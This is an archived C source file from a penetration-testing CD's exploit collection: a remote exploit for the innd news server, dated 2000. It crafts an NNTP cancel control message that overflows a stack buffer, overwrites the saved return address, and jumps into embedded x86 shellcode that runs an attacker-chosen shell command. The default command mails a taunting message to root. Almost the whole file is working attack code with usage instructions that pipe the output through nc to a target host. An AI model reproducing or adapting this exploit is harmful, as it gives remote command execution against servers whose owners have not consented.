home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / nntp / inndx.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  83 lines

  1. /*
  2.  * inndx: innd remote 'news' user/group exploit
  3.  *
  4.  * Written on 12th June 2000 by Wojciech Purczynski
  5.  * <wp@elzabsoft.pl> cliph/ircnet
  6.  *
  7.  * Bug found by Michal Zalewski.
  8.  *
  9.  * Tested on innd-2.2.2-3 default installation on RedHat 6.2.
  10.  *
  11.  * Usage:
  12.  * ./inndx [command [offset]]|nc -i 1 target.host 119
  13.  */
  14.  
  15. #include <stdio.h>
  16. #include <unistd.h>
  17.  
  18. #define RETADDR 0x8138004 /* we're jumping into the body of cancel msg */
  19. #define BUFSIZE (256+2*4+4) /* buff + EBP + EIP + Data */
  20. #define JUNKSIZE strlen("\"\" wants to cancel <> by \"")
  21. #define NOP 0x90
  22. #define FAKEPTR 0xbffff1c0
  23. #define COMMAND "echo U have b33n h@x0r3d hahahah|mail root"
  24. #define BODYSIZE 999
  25.  
  26. /* Code written by me */
  27. char * run_command=
  28.   "\xeb\x3d\x5e\x89\xf7\x31\xc0\x47"
  29.   "\x80\x3f\xff\x75\xfa\x88\x07\x47"
  30.   "\x89\x37\x89\xf3\x46\x80\x3e\x2e"
  31.   "\x75\xfa\x88\x06\x46\x89\x77\x04"
  32.   "\x46\x80\x3e\x2e\x75\xfa\x88\x06"
  33.   "\x46\x89\x77\x08\x89\x47\x0c\x89"
  34.   "\xf9\x8d\x57\x0c\xb0\x0b\xcd\x80"
  35.   "\x89\xc3\x31\xc0\x40\xcd\x80\xe8"
  36.   "\xbe\xff\xff\xff/bin/sh.-c.";
  37.  
  38. int main(int argc, char *argv[])
  39. {
  40.   int retaddr=RETADDR;
  41.   char messageid[256];
  42.   char sender[16];
  43.   char body[BODYSIZE];
  44.   char * command=COMMAND;
  45.   int midsize;
  46.   int i;
  47.  
  48.   if (argc>1) command=argv[1];
  49.   if (argc>2) retaddr+=atoi(argv[2]);
  50.  
  51.   memset(sender, 0, sizeof(sender));
  52.   strcpy(sender+0, "a@a.");        /* EBP */
  53.   *(long*)(sender+4)=(long)retaddr;    /* EIP */
  54.   *(long*)(sender+8)=(long)RETADDR+1000;    /* Data */
  55.  
  56.   memset(messageid, 'a', sizeof(messageid));
  57.   sprintf(messageid, "%s@a", tmpnam(NULL)+9);
  58.   messageid[strlen(messageid)]='a';
  59.   messageid[BUFSIZE-JUNKSIZE-5-strlen(sender)]=0;
  60.  
  61.   memset(body, NOP, sizeof(body));
  62.   strcpy(body+sizeof(body)-strlen(run_command)-strlen(command)-2, run_command);
  63.   strcat(body, command);
  64.   strcat(body, "\xff");
  65.  
  66.   fprintf(stderr, "RETADDR=%p\n", retaddr);
  67.   fprintf(stderr, "COMMAND=%s\n", command);
  68.  
  69.   printf("mode reader\r\ngroup test\r\npost\r\n");
  70.   printf("Message-ID: <%s>\r\n", messageid);
  71.   printf("From: %s\r\nSender: %s\r\n", sender, sender);
  72.   printf("Newsgroups: test\r\n");
  73.   printf("Subject: blah\r\n");
  74.   printf("\r\nblah\r\n.\r\n");
  75.  
  76.   printf("group control\r\npost\r\n");
  77.   printf("Message-ID: <%s@test>\r\n", tmpnam(NULL)+9);
  78.   printf("From: a@b.c\r\nSender: a@b.c\r\n");
  79.   printf("Control: cancel <%s>\r\n", messageid);
  80.   printf("Subject: cmsg cancel <%s>\r\n", messageid);
  81.   printf("Newsgroups: control\r\n\r\n%s\r\n.\r\nquit\r\n", body);
  82. }
  83. /*                   www.hack.co.za              [1999]*/